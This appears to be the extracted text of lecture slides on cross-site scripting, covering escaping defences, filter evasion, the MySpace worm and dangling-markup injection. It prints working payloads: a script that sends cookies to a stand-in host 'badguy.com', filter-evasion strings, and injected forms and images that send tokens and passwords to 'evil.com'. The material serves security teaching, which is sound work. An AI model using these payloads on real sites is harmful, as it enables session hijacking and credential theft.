- This data is meant to be converted into HTML by the script, never intended to be seen directly in the browser

Example: WebMail.com

Request:

Response:
```
var messageArray = new Array();
messageArray[0] = “This is an email subject”;
```

XSS in AJAX (3)

[Alex Stamos]

◆ Attacker sends the victim an email with a script:
  • Email is parsed from the data array, written into HTML with innerText(), displayed harmlessly in the browser

◆ Attacker sends the victim an email with a link to backend request and the victim clicks the link:

The browser will issue this request:

... and display this text:
var messageArray = new Array();
messageArray[0] = "<script>var i = new Image();
i.src='http://badguy.com/' + document.cookie;</script>"
How to Protect Yourself

- Ensure that your app validates all headers, cookies, query strings, form fields, and hidden fields against a rigorous specification of what should be allowed.
- Do not attempt to identify active content and remove, filter, or sanitize it. There are too many types of active content and too many ways of encoding it to get around filters for such content.
- We strongly recommend a ‘positive’ security policy that specifies what is allowed. ‘Negative’ or attack signature based policies are difficult to maintain and are likely to be incomplete.
What Does This Script Do?
Preventing Cross-Site Scripting

- Any user input and client-side data must be preprocessed before it is used inside HTML
- Remove / encode (X)HTML special characters
  - Use a good escaping library
    - OWASP ESAPI (Enterprise Security API)
    - Microsoft’s AntiXSS
  - In PHP, htmlspecialchars(string) will replace all special characters with their HTML codes
    - ‘ becomes &amp;#039; “ becomes &quot; & becomes &amp;
  - In ASP.NET, Server.HtmlEncode(string)
Evading XSS Filters

- Preventing injection of scripts into HTML is hard!
  - Blocking “<” and “>” is not enough
  - Event handlers, stylesheets, encoded inputs (%3C), etc.
  - phpBB allowed simple HTML tags like <b>
    <b c=“>” onmouseover=“script” x=“<b “>Hello<b>

- Beware of filter evasion tricks (XSS Cheat Sheet)
  - If filter allows quoting (of <script>, etc.), beware of malformed quoting: <IMG """"> <SCRIPT>alert("XSS")</SCRIPT>">
  - Long UTF-8 encoding
  - Scripts are not only in <script>: 
    <iframe src=`https://bank.com/login` onload=`steal()'>
MySpace Worm (1)

- Users can post HTML on their MySpace pages
- MySpace does not allow scripts in users’ HTML
  - No `<script>`, `<body>`, `onclick`, `<a href=javascript://>`
  - ... but does allow `<div>` tags for CSS. K00L!
    - `<div style="background:url('javascript:alert(1)')">`
- But MySpace will strip out “javascript”
  - Use “java<NEWLINE>script” instead
- But MySpace will strip out quotes
  - Convert from decimal instead:
    ```javascript
    alert('double quote: ' + String.fromCharCode(34))
    ```

http://namb.la/popular/tech.html
MySpace Worm (2)

“There were a few other complications and things to get around. This was not by any means a straight forward process, and none of this was meant to cause any damage or piss anyone off. This was in the interest of...interest. It was interesting and fun!”

“Started on Samy Kamkar’s MySpace page, everybody who visited an infected page became infected and added “samy” as a friend and hero

- “samy” was adding 1,000 friends per second at peak
- 5 hours later: 1,005,831 friends

Code of the MySpace Worm

http://namb.la/popular/tech.html

```html
<!-- Code Snippet -->
```

slide 100
31 Flavors of XSS

Source: XSS Filter Evasion Cheat Sheet

- `<BODY ONLOAD=alert('XSS')>`
- `¼script¾alert(¢XSS¢)¼/script¾`
- `<XML ID="xss"><I><B>&lt;IMG SRC="javascript:alert('XSS')"&gt;</B></I></XML>`
- `<STYLE>BODY{moz-binding:url("http://ha.ckers.org/xssmoz.xml#xss")}</STYLE>`
- `<SPAN DATASRC="#xss" DATAFLD="B" <DIV STYLE="background-image:00750072006C0028006a00610076006100730028.10270058.1053005300270029">`
Problems with Filters

◆ Suppose a filter removes `<script`
  - `<script src="..."` becomes `src="..."
  - `<scr<scriptipt src="..."` becomes `<script src="..."

◆ Removing special characters
  - `java&#x09;script` – blocked, `&#x09` is horizontal tab
  - `java&#x26;&#x09;script` – becomes `java&#x09;script`
    – Filter transforms input into an attack!

◆ Need to loop and reapply until nothing found
Simulation Errors in Filters

- Filter must predict how the browser would parse a given sequence of characters... this is hard!
- NoScript
  - Does not know that / can delimit HTML attributes
    `<a<img/src/onerror=alert(1)//<`
- noXSS
  - Does not understand HTML entity encoded JavaScript
- IE8 filter
  - Does not use the same byte-to-character decoding as the browser
Reflective XSS Filters

- Introduced in IE 8
- Blocks any script that appears both in the request and the response (why?)

http://www.victim.com?var=<script> alert('xss')

If <script> appears in the rendered page, the filter will replace it with <sc#pt>
Busting Frame Busting

◆ Frame busting code
  • `<script> if(top.location != self.location) // framebust
      </script>`

◆ Request:
  • `http://www.victim.com?var=<script> if (top ...`

◆ Rendered
  • `<sc#pt> if(top.location != self.location)`
  • What has just happened?

◆ Same problem in Chrome’s XSS auditor
httpOnly Cookies

- Cookie sent over HTTP(S), but cannot be accessed by script via document.cookie
- Prevents cookie theft via XSS
- Does not stop most other XSS attacks!
Post-XSS World

- XSS = script injection ... or is it?
- Many browser mechanisms to stop script injection
  - Add-ons like NoScript
  - Built-in XSS filters in IE and Chrome
  - Client-side APIs like toStaticHTML() ...
- Many server-side defenses
- But attacker can do damage by injecting non-script HTML markup elements, too

[Zalewski. “Postcards from the Post-XSS World”]
Dangling Markup Injection

[“Postcards from the post-XSS world”]

`<img src='http://evil.com/log.cgi?'>

Injected tag

...<input type="hidden" name="xsrf_token" value="12345">

...

</div>

All of this sent to evil.com as a URL
Another Variant

[“Postcards from the post-XSS world”]

<form action='http://evil.com/log.cgi'>
<textarea>
...
<input type="hidden" name="xsrftoken" value="12345">
...
</textarea>

No longer need the closing apostrophe and bracket in the page!
Only works if the user submits the form ...
... but HTML5 may adopt auto-submitting forms
Rerouting Existing Forms

[“Postcards from the post-XSS world”]

```html
<form action='http://evil.com/log.cgi'>
 ...
</form>

<form action='update_profile.php'>
 ...
<input type="text" name="pwd" value="trustno1">
 ...
</form>

*Forms can’t be nested, top-level occurrence takes precedence*
Namespace Attacks

[“Postcards from the post-XSS world”]

Identifier attached to tag is automatically added to JavaScript namespace with higher priority than script-created variables

```javascript
function retrieve_acls() { ...
    if (response.access_mode == AM_PUBLIC)
        is_public = true;
    else
        is_public = false; }
```

In some browsers, can use this technique to inject numbers and strings, too

```javascript
function submit_new_acls() { ...
    if (is_public) request.access_mode = AM_PUBLIC; ...
}
```

Always evaluates to true
Other Injection Possibilities

- `<base href="....">` tags
  - Hijack existing relative URLs

- Forms
  - In-browser password managers detect forms with password fields, fill them out automatically with the password stored for the form’s origin

- Form fields and parameters (into existing forms)
  - Change the meaning of forms submitted by user

- JSONP calls
  - Invoke any existing function by specifying it as the callback in the injected call to the server’s JSONP API